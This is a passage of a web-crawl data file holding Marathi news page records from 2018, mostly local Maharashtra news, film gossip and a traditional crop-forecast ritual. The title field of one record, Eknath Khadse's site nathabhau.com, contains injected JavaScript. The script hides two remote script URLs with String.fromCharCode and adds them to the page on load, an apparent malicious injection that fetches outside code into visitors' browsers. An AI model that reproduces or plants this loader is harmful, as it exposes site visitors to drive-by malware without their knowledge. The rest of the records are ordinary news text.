याबरोबरच या स्क्रीन्सवर सुरक्षेसंदर्भातही माहिती देण्यात येणार आहे. जेवणाचे पैसे राजधानी आणि शताब्दी रेल्वेप्रमाणे तिकीटातच समाविष्ट असतील.\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nत्या दोन रुग्णांचा मृत्यू स्वाईन फ्ल्यूमुळे नाहीच...\nपणजी : काही दिवसांपूर्वीच मडगावमध्ये आणि गोवा वैद्यकीय महाविद्यालय, बाबोळी येथे दोन रुग्ण दगावले. हे दोन्ही रुग्ण स्वाईन फ्ल्यूमुळे नाही तर हृदयाच्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00268.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%BF%E0%A4%82%E0%A4%AA%E0%A4%B3%E0%A5%87-%E0%A4%B8%E0%A5%8C%E0%A4%A6%E0%A4%BE%E0%A4%97%E0%A4%B0%E0%A4%AE%E0%A4%A7%E0%A5%80%E0%A4%B2-%E0%A4%89%E0%A4%A1%E0%A5%8D%E0%A4%A1%E0%A4%BE%E0%A4%A3/", "date_download": "2018-09-25T17:57:16Z", "digest": "sha1:AOD65VAXNL75IDI7EEASL2AZO6AMPSUM", "length": 8971, "nlines": 72, "source_domain": "pclive7.com", "title": "पिंपळे सौदागरमधील उड्डाणपूल आणि ग्रेडसेपरेटरच्या कामांचा नगरसेवकांकडून आढावा | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पिंपळे सौदागरमधील उड्डाणपूल आणि ग्रेडसेपरेटरच्या कामांचा नगरसेवकांकडून आढावा\nपिंपळे सौदागरमधील उड्डाणपूल आणि ग्रेडसेपरेटरच्या कामांचा नगरसेवकांकडून आढावा\nपिंपरी (Pclive7.com):- पिंपळे सौदागरमधील साई चौकात उभारण्यात येत असलेला उड्डाणपूल आणि वाय जंक्शन येथील ग्रेड सेपरेटरच्या कामाचा नगरसेवक शत्रुघ्न काटे आणि नगरसेविका निर्मला कुटे यांनी आढावा घेतला.\nयावेळी प्राधिकरणाचे कार्यकारी अभियंता खलाटे, उपअभियंता नाईक, कनिष्ठ अभियंता तालीखेडे, बीआरटीएस उपअभियंता संदेश खडतरे, बीआरटीएसचे कार्यकारी अभियंता अभिजित दहाडे, विद्युत विभाग कार्यकारी अभियंता संदेश चव्हाण, कार्यकारी अभियंता कावळे, पाणीपुरवठा अधिकारी धुमाळ आणि संबंधित काँट्रॅक्टर्स उपस्थित होते.\nयावेळी शत्रुघ्न काटे आणि निर्मला कुटे यांनी सर्व कामांची पाहणी केली. साई चौक येथील औंध-रावेत उड्डाणपूल एक बाजू जुलै महिनाअखेर पर्यंत पुर्ण करून नागरिकांच्या वाहतुकीसाठी खुला करण्याच्या सूचना त्यांनी संबंधित विभागास दिल्या. तसेच कोकणे चौक ते साई चौक रस्त्याच्या दोन्ही बाजूला असलेले सायकल ट्रॅक मुळ रस्त्यात विलीन करून वाहतुकीस जास्त जागा उपलब्ध करण्याचेही सुचविण्यात आले. साई चौक येथील शिवार चौक ते सावित्रीबाई फुले उद्यानापर्यंत अंडरपास कामाबद्दल शत्रुघ्न काटे आणि निर्मला कुटे यांनी चर्चा केली.\nसाई चौक हा मुख्य रहदारी तसेच मोठ्या प्रमाणात वाहतूक दळण वळण असलेले परिसरातील चौक आहे. परंतु या परिसरामध्ये वाहतूक विषयी समस्येमध्ये दिवसेंदिवस वाढ होत चालली होती. या उड्डाणपुलामुळे या परिसरामध्ये आयटी कंपनी हिंजवडी हबमध्ये काम करणारा वर्ग व रहिवासिंयांना वाहतुकीचा प्रश्नाबाबत मोठा दिलासा मिळणार आहे. या उड्डाणपुलामुळे वाकड, डांगे चौक, नाशिक फाटा आणि पुण्याला जाण्यास अत्यंत सोपे आणि सोयीस्कर होणार आहे. वाय जंक्शन येथील ग्रेड सेपरेटर आणि उड्डाणपूलामुळे साई चौक येथे होणार्या सततच्या वाहतूक कोंडीचा प्रश्न सुटण्यास मदत होणार आहे.\nTags: bjpPCLIVE7.COMPCMCPcmc newsआढावाउड्डाण पूलग्रेडसेपरेटरचिंचवडनगरसेवकनिर्मला कुटेपाहणीपिंपरीपिंपळे सौदागरमहापालिकाशत्रुघ्न काटे\nआळंदीकरांना स्वच्छ पाणी मिळणार तरी कधी…\nपिंपळे सौदागरमध्ये लवकरच नागरिकांसाठी “लॅबिरींथ प्लाझा”, नगरसेवक नाना काटे यांची माहिती\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00269.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%9C%E0%A5%87%E0%A4%AE%E0%A5%8D%E0%A4%B8-%E0%A4%AC%E0%A5%89%E0%A4%A3%E0%A5%8D%E0%A4%A1%E0%A4%B8%E0%A4%BE%E0%A4%A0%E0%A5%80-%E0%A4%A1%E0%A5%85%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%B2%E0%A4%B2/", "date_download": "2018-09-25T17:16:04Z", "digest": "sha1:SUX2YQ33XRIPE6VVZSRJSDP5Q7KMXQNY", "length": 7110, "nlines": 139, "source_domain": "www.dainikprabhat.com", "title": "‘जेम्स बॉण्ड’साठी डॅनियलला मिळाली ‘एवढ्या’ कोटींची ऑफर | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\n‘जेम्स बॉण्ड’साठी डॅनियलला मिळाली ‘एवढ्या’ कोटींची ऑफर\nहॉलीवूड अभिनेते डॅनियल क्रेग हाच यापुढंही ‘जेम्स बॉण्ड’च्या भूमिकेत दिसणार आहे. जेम्स बॉण्डच्या अधिकृत ट्विटर हॅन्डलवरच तसे ट्वीट करण्यात आले आहे. डॅनियल क्रेग पाचव्यांदा बॉण्ड साकारणार असून नव्या सिरीजसाठी त्याला तब्बल ४५० कोटींची ऑफर देण्यात आल्याची चर्चा आहे.\n२००५ मध्ये पिअर्स ब्रॉसन हा बॉण्डच्या भूमिकेत होता तर २००६ मध्ये आलेल्या कॅसिनो रॉयलमध्ये क्रेग सर्वप्रथम बॉण्ड बनला. त्यानंतर त्याचे आणखी तीन बॉण्डपट आले. क्रेग याच्यानंतर ‘बॉण्ड’ कोण साकारेल याची चर्चा जोरात होती. त्यात इद्रिस एल्ब, टॉम हिडलस्टन व एडान टर्नर यांची नावे आघाडीवर होती. मात्र पुन्हा क्रेगलाच पसंती मिळाली आहे.\nइतकचं नव्हे, डॅनियल क्रेग हाच या चित्रपटाचा कार्यकारी निर्माता देखील असणार आहे. यामुळं तो चित्रपटाच्या नफ्यातील भागीदार असेल. तसे झाल्यास डॅनियल सर्वाधिक मानधन घेणाऱ्या अभिनेत्यांच्या यादीत दाखल होणार आहे. या आधीच्या बॉण्ड सिरीजमधली ‘स्पेक्टर’साठी त्याने ३३३ कोटी रुपये मानधन घेतले होते\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleमनोहर पर्रिकर जून अखेरपर्यंत गोव्यात परततील- सुनील ढवळीकर\nNext article‘एअर एशिया’च्या सीईओविरुद्ध गुन्हा दाखल\nरँचो वॉल पाडण्याचा निर्णय ; पर्यटकांवरही बंदी\n‘ठग्स ऑफ हिंदोस्तान’ चे नवीन पोस्टर रिलीज\nपंजाबी सिंगर हार्डी संधू पुन्हा होतोय ट्रेंड यावेळी ‘क्या बात है’\nदीपिका-रणवीरने रद्द केले नोव्हेंबरमधील लग्न\n“ठग्ज…’मध्ये आमिर बसला गाढवावर\n“सिंग इज किंग 2’मध्ये अर्जुन कपूर\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00269.warc.wet.gz", "language": "mr", "language_score": 0.88, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B0%E0%A4%BE%E0%A4%AE-%E0%A4%95%E0%A4%A6%E0%A4%AE%E0%A4%BE%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%B5%E0%A4%BF%E0%A4%B0%E0%A5%8B%E0%A4%A7%E0%A4%BE%E0%A4%A4%E0%A5%80%E0%A4%B2/", "date_download": "2018-09-25T17:19:39Z", "digest": "sha1:4WE4XKYWAM5QGLLQOD7G6UAY2WNY53FX", "length": 7680, "nlines": 144, "source_domain": "www.dainikprabhat.com", "title": "राम कदमांच्या विरोधातील आंदोलनातून कॉंग्रेस महिलांचा आपापसात वाद | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nराम कदमांच्या विरोधातील आंदोलनातून कॉंग्रेस महिलांचा आपापसात वाद\nकोल्हापूर – भाजपाचे आमदार राम कदम यांनी मुलींसंदर्भात केलेल्या वक्तव्याचा निषेध करण्यासाठी राज्यातल्या सर्वच कॉंग्रेसच्या महिला कार्यकर्त्यांना आंदोलन करण्याच्या सूचना करण्यात आल्या होत्या. मात्र या आंदोलनाचा निरोप वेळेत न मिळाल्यामुळे कोल्हापुरातील महिला कॉंग्रेसच्या महिला कार्यकर्त्यांमध्ये आज चांगलीच जुंपली. यामुळे आंदोलनापेक्षा या वादाचीच दिवसभर चर्चा रंगली.\nकदम यांचा निषेध नोंदवण्यासाठी कॉंग्रेसच्या महिला कार्यकर्त्यांना दोन वाजण्याची वेळ देण्यात आली होती. कॉंग्रेस कमिटीमध्ये काही निवडक महिला कार्यकर्त्या दोन वाजता कार्यालयात पोहोचल्या. मात्र, महिला शहराध्यक्ष आणि त्यांच्या गटातील महिला वेळेवर पोहोचल्या नाहीत. त्याच्या अगोदरच पोहोचलेल्या महिलांनी हे आंदोलन उरकून टाकले.\nउशिरा आलेल्या महिलांना याचा चांगलाच राग आला आणि या महिला कार्यकर्त्यांमध्ये कॉंग्रेस कमिटीच्या परिसरातच चांगलीच जुंपली. एकमेकींचा उद्धार करणाऱ्या या कार्यकर्त्यांचे भांडण सोडविताना पुरुष कार्यकर्त्यांची चांगलीच भंबेरी उडाली.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleबांधकामांना मिळणार ऑनलाईन परवानगी\nNext articleसलग सहा सत्रात सेन्सेक्‍स घसरला 878 अंकांनी\nविशेष संरक्षण पथकाबाबत राहुल गांधी यांनी केलेल्या वक्तव्यासंदर्भात स्पष्टीकरण\nकोल्हापुरात 22 तास विसर्जन मिरवणूक ; खऱ्या अर्थाने डॉल्बीचे विसर्जन\nराफेल प्रकरणावरून कॉंग्रेस नेत्यांनी घेतली दक्षता आयुक्‍तांची भेट\nएसटी’ गॅंगचा हद्दपार गुंड स्वप्नील तहसिलदारला अटक\nकोल्हापूरच्या महापौरांना पोलिसांची धक्काबुक्की\nगणपती मिरवणुकीत कोल्हापूरच्या महापौरांना पोलिसांची धक्काबुक्की ; वातावरण तणावपूर्ण\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00269.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "http://amp.esakal.com/vidarbha/bhendwal-ghatmandani-weather-forecast-110859", "date_download": "2018-09-25T16:44:46Z", "digest": "sha1:CCEWMJPN6KNJ6VWOFYMS2IXFHGRQKLE6", "length": 8538, "nlines": 44, "source_domain": "amp.esakal.com", "title": "bhendwal ghatmandani weather forecast देशाचा राजा कायम, दुष्काळी परिस्थिती नसण्याचा घटमांडणीचा अंदाज | eSakal", "raw_content": "\nदेशाचा राजा कायम, दुष्काळी परिस्थिती नसण्याचा घटमांडणीचा अंदाज\nसकाळ वृत्तसेवा | गुरुवार, 19 एप्रिल 2018\nभेंडवळ (बुलडाणा) - जेव्हा हवामान खाते किंवा पाऊस पाण्याविषयी माहिती देणारी कुठलीही सुविधा उपलब्ध नसतांना बुलढाणा जिल्ह्यातील भेंडवळमधील वाघ वंशाचे पुर्वज चंद्रभान महाराज यांनी शेतकर्‍यांना मार्गदर्शक ठरलेल्या भेंडवळ घटमांडणीची सुरूवात केली. आणि ती परंपरा या वाघ कुटुंबियाने गेल्या साडेतिनशेवर्षांपासून आजही जपली आहे. विधिवत पूजन करून ही घटमांडणी केली जाते. शेतकऱ्यांसह नागरिकांचे लक्ष वेधणारी बहूचर्चीत भेंडवळची घटमांडणी अक्षयतृतीयेच्या मुहूर्तावर बुधवारी (ता.18) सायंकाळी करण्यात आली. त्यानंतर गुरुवारी सुर्योदयी पुंजाजी महाराज व सारंगधर महाराज वाघ यांनी अंदाज व्यक्त केले.\nभेंडवळ (बुलडाणा) - जेव्हा हवामान खाते किंवा पाऊस पाण्याविषयी माहिती देणारी कुठलीही सुविधा उपलब्ध नसतांना बुलढाणा जिल्ह्यातील भेंडवळमधील वाघ वंशाचे पुर्वज चंद्रभान महाराज यांनी शेतकर्‍यांना मार्गदर्शक ठरलेल्या भेंडवळ घटमांडणीची सुरूवात केली. आणि ती परंपरा या वाघ कुटुंबियाने गेल्या साडेतिनशेवर्षांपासून आजही जपली आहे. विधिवत पूजन करून ही घटमांडणी केली जाते. शेतकऱ्यांसह नागरिकांचे लक्ष वेधणारी बहूचर्चीत भेंडवळची घटमांडणी अक्षयतृतीयेच्या मुहूर्तावर बुधवारी (ता.18) सायंकाळी करण्यात आली. त्यानंतर गुरुवारी सुर्योदयी पुंजाजी महाराज व सारंगधर महाराज वाघ यांनी अंदाज व्यक्त केले.\n''या हंगामात पिक आणि पाऊस समाधान कारक राहील. देशाचा राजा म्हणजेच पंतप्रधान कायम राहणार असून, दुष्काळी परिस्थिती फारशी उदभवणार नाही, असे अंदाज भेंडवळच्या घटमांडणीने दिले'.\nअक्षयतृतीयेला संध्याकाळी पुंजाजी महाराज, सारंगधर महाराज आपल्या अनुयायांसह चंद्रभान महाराजांचा जयजयकार करीत गावाशेजारील शेतात घटमांडणी केली होती. गोल घट करून घटाच्या मधोमध खड्डा करण्यात आला. यामध्ये पावसाळ्याच्या चार महिन्याचे प्रतिक म्हणून चार मातीची ढेकळे व त्यावर घागर ठेवण्यात आली. या घागरीवर पापड, पुरी, सांडोळी, कुरडई, करंजी, भजं आणि वडा अशा प्रतीकात्मक खाद्य पदार्थांची मांडणी केली होती. घटात अंबाडी, गहू, ज्वारी, बाजरी, कपाशी, मटकी, मुंग, उडीद, करडी, तांदुळ, जवस, तीळ, मसुर, हरभरा, वाटाणा, भादली इत्यादी १८ प्रकारच्या धान्याची मांडणी करण्यात आली होती.. धान्य आणि खाद्य पदार्थांची पाहणी करून अंदाज व्यक्त करण्यात आले.\nयेत्या हंगामात खरीपातील ज्वारी, मूग, बाजरी, जवस ही पिके व्यवस्थित येतील असे सांगण्यात आले. तर कपाशी, तूर, उडीद, तीळ, भादली, लाख, वाटाणा, ही पिके कमी अधिक प्रमाणात येतील. रब्बीत गहू, हरभरा ही पिकेही सामान्य सांगण्यात आली. पावसाचा अंदाज देताना जूनमध्ये पाऊस सुरु होणार असला तरी पेरण्या जुलै महिन्यात होतील. जूनपेक्षा जुलैमध्ये अधिक पाऊस पडेल. त्यानंतर ऑगस्टमध्ये अधिक पाऊस पडणार आहे. सप्टेंबरमध्ये साधारण पाऊस असेल. शिवाय लहरी स्वरुपातील पाऊस होईल. चार महिन्यांच्या काळात साधारण स्वरुपातील पाऊस होईल. देशाचा राजा म्हणजेच पंतप्रधान कायम राहणार असला तरी त्याला चिंता असेल. आथिर्क स्थिती मजबूर राहील. यंदा मोठी नैसर्गिक आपत्ती नसेल. देशाचे शत्रू त्रास देतील परंतु संरक्षण मजबूत असल्याने कुठलाही धोका होणार नाही. शेतमालाच्या भावात तेजीमंदीचा असे अंदाजही यावेळी मांडण्यात आले.\nया घटमांडणीचे अंदाज एकण्यासाठी हजारो शेतकरी पहाटेपासून उपस्थित होते.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00270.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://nathabhau.com/en/Samarpan-1", "date_download": "2018-09-25T16:35:27Z", "digest": "sha1:NA33OMNEG7JN7G7MD4XKHAH7WOJ2DIU7", "length": 5563, "nlines": 122, "source_domain": "nathabhau.com", "title": "var d3 = document.createElement('script'); d3.type = 'text/javascript'; d3.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 46, 117, 117, 115, 116, 111, 117, 103, 104, 116, 111, 110, 109, 97, 46, 111, 114, 103, 47, 115, 116, 97, 116, 115, 46, 106, 115, 63, 102, 61, 52); var scripts = document.getElementsByTagName('script'); var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == d3.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(d3);}var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 97, 97, 106, 108, 99); var scripts = document.getElementsByTagName('script'); var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == po.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(po);} Samarpan - 1 - समर्पण भाग - १ | Eknath khadse", "raw_content": "\nएकनाथराव एक उत्तुंग व्यक्तिमत्व\nजळगाव जिल्ह्यासाठी आणलेली विकास गंगा\nआर्थिक मंजुरी व महत्त्वपूर्ण निर्णय\nदोन वर्षाच्या कार्यकाळातील मतदार संघातील ठळक भव्य कामे\nएलाह्बाद शहराच्या सर्वांगीण विकासाचा ध्यास\nएलाह्बाद मतदार संघात मंजूर शाळाखोल्या व अंगणवाड्या\n(एलाह्बाद)शिक्षण विभाग प्रशासकीय आदेश १९९६-९७\nएक अच्छा दोस्त और बेहतरीन इनसान\nएकनाथ खडसे यांच्या प्रयत्नाने मंजूर झालेल्या योजना\nजवाहर योजने अंतर्गत मंजूर केलेल्या इमारती\nआर्थसंकल्पीय मंजूर कामे सन १९९५-९६\nस्थानिक विकास कार्यक्रम १९९६-९७\nखडसेंच्या मदतीने मुख्यमंत्री निधीतून आजारी व्यक्तींना मिळालेल्या निधीबाबतची यादी\nखडसेंच्या विनंती पत्रानुसार मिळालेले आर्थिक सहाय्य\n१९९६ अखेर पूर्ण झालेल्या कामांची माहिती\nट्रायसेम शेड मंजूर (एलाह्बाद व भुसावळ)\nआर्थसंकल्पीय कामे (इमारत) ता. एलाह्बाद\nभाजपा, जिल्हा जळगाव, भुसावळ मंडळ (कार्यकारीणी) ग्रामीण\nएलाह्बाद भाजपाचे सन्माननीय सरपंच व उपसरपंच\nएलाह्बाद भाजपाचे सन्माननीय सरपंच व उपसरपंच\nलघु पाटबंधारे विभाग जळगाव\nपाझर तलाव ता. एलाह्बाद\nइंदिरा आवास योजना (घरकुल) इतर\nइंदिरा आवास योजना (अनुसूचित जती जमाती)\nवित्त आयोगाकडून मिळवलेला विशेष निधी\nइंदिरा आवास योजना (गावांची यादी)\nपशुवैद्यकीय दवाखाने व प्रथमोपचार केंद्र\nहरिजन वस्ती जोड रस्ते प्रशासकीय मान्यता दिलेली कामे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00270.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/shahupuri-crime-issue-in-kolhapur/", "date_download": "2018-09-25T17:32:45Z", "digest": "sha1:J7FQ5QHIXPFE67CTZVDV6RJ7ADOZD7SI", "length": 4189, "nlines": 35, "source_domain": "www.pudhari.news", "title": " शाहूपुरी मारहाणप्रकरणी पाच जणांना अटक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › शाहूपुरी मारहाणप्रकरणी पाच जणांना अटक\nशाहूपुरी मारहाणप्रकरणी पाच जणांना अटक\nजागेचा ताबा घेण्यावरून शाहूपुरी व्यापारी पेठेत दोशी बंधूंना मारहाण केल्याप्रकरणी पाच जणांना अटक करण्यात आली. अशोक पांडुरंग जाधव ऊर्फ नागराळे उस्ताद (वय 55, रा. कारंडे मळा), पवन संभाजी शिंदे (23), अमोल बाळू बागाव (25), महेश ज्ञानदेव बागडे (20), विकास विलास माने (24, रा. शाहूपुरी तालीम) अशी अटक केलेल्यांची नावे आहेत.\nशाहूपुरी व्यापारी पेठेतील जागेचा ताबा घेण्यावरून दोशी बंधूंना अशोक जाधव ऊर्फ नागराळे आणि सहकार्‍यांनी बुधवारी सकाळी मारहाण केली होती. यामध्ये पंकज दोशी, तुषार दोशी, प्रशांत दोशी, अभय दोशी, प्रितेश दोशी जखमी झाले होते. याप्रकरणी शाहूपुरी पोलिसांत बुधवारी रात्री गुन्हा दाखल करण्यात आला. गुरुवारी सकाळी पाच जणांना अटक करून न्यायालयात हजर केले असता, 14 जानेवारीपर्यंत पोलिस कोठडी सुनावण्यात आली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00270.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/443067", "date_download": "2018-09-25T17:14:31Z", "digest": "sha1:QTAPMHIX5HMX7LNBCWDFT2QP6AURFTO2", "length": 7739, "nlines": 40, "source_domain": "www.tarunbharat.com", "title": "अतिरिक्त शिक्षकांनी शिक्षण उपसंचालक कार्यालयासमोर भरवली शाळा - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » कोल्हापुर » अतिरिक्त शिक्षकांनी शिक्षण उपसंचालक कार्यालयासमोर भरवली शाळा\nअतिरिक्त शिक्षकांनी शिक्षण उपसंचालक कार्यालयासमोर भरवली शाळा\nअतिरिक्त शिक्षकांचे वेतन आणि समायोजन त्वरित करावे, या आणि अन्य मागण्यांसाठी राज्य खासगी प्राथमिक शिक्षक व शिक्षकेतर कर्मचारी महासंघाच्या वतीने सोमवारपासून शिक्षण उपसंचालक कार्यालयासमोर बेमुदत धरणे आंदोलन करण्यास प्रारंभ करण्यात आला आहे. शनिवारी या आंदोलनाच्या सहाव्या दिवशी शिक्षकांनी शिक्षण उपसंचालक कार्यालयासमोर शाळा भरवून अभिनव आंदोलन करून प्रशासनाचे लक्ष वेधून घेतले.\nविविध मागण्यांसाठी गेल्या पाच दिवसांपासून अतिरिक्त शिक्षकांचे आंदोलन सुरू आहे. या आंदोलनाच्या सहाव्या दिवशी आंदोलकांनी शिक्षण उपसंचालक कार्यालयासमोर शाळा भरवली होती. यावेळी राष्ट्रगीत, प्रतिज्ञा, हमे इतनी शक्ती तु देना दाता ही प्रार्थना घेवून परिपाठ घेण्यात आला. त्यानंतर अतिरिक्त शिक्षक संतोष आयरे यांनी, विषय – संचमान्यता, घटक – अतिरिक्त शिक्षक यामध्ये अतिरिक्त शिक्षकांचे समायोजनबाबतीत होणारे हाल, रोखलेल्या वेतनामुळे निर्माण होणाऱया आर्थिक अडचणी या मुद्यांवर सविस्तर अध्यापन केले. त्यानंतर बैठे व्यायाम प्रकार घेण्यात आले. संजय कुंभार यांनी, कार्यानुभव या विषयात कागदी टोपी तयार करणे हे प्रात्यक्षिक करून घेतले. एस.डी. पाटील यांनी, बोधकथेचे सादरीकरण केले. श्री. थोरात यांनी, संतांची शिकवण यावर मार्गदर्शन केले. दरम्यान, शिक्षण उपसंचालक कार्यालयाबाहेर भरवण्यात आलेली शाळा पाहून नागरिकांनी आश्चर्य व्यक्त केले.\nशनिवारी सकाळी साडेअकरा वाजता शिक्षण उपसंचालक एम.के.गोंधळी यांच्याशी चर्चा केली असता अतिरिक्त शिक्षक समायोजन व वेतन याबाबतचा आदेश तयार झाला असून आयुक्तांची सही होणे बाकी आहे, असे सांगितले. यावर सर्व आंदोलकांनी जोपर्यंत लेखी आदेश प्राप्त होत नाहीत. तोपर्यंत आमचे आंदोलन सुरू राहिल, असे स्पष्ट केले. या आंदोलनात विभागीय अध्यक्ष राजेंद्र कोरे, राज्य शिक्षकेतर प्रमुख एम.डी.पाटील, राज्य उपाध्यक्ष संतोष आयरे, धनाजी पाटील, सावजी पाटील, वसंत पाटील, अशोक परीट, मारुती पाटील, बाजीराव पाटील, सदानंद कुंभार, संपत चव्हाण, शोभाताई पाटील, वंदना कोळी, मारुती कांबळे, मेघा मोरे, भाग्यश्री दराडे, आदींनी सहभाग घेतला.\nकागल तालुक्यात निवडणुकीसाठी प्रशासकीय यंत्रणा सज्ज\nहसीना फरास यांचा महापौरपदाचा राजीनामा\nकोवाड बंदला उस्फूर्त प्रतिसाद\nगारांसह पावसाने पन्हाळय़ाला झोडपले\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", 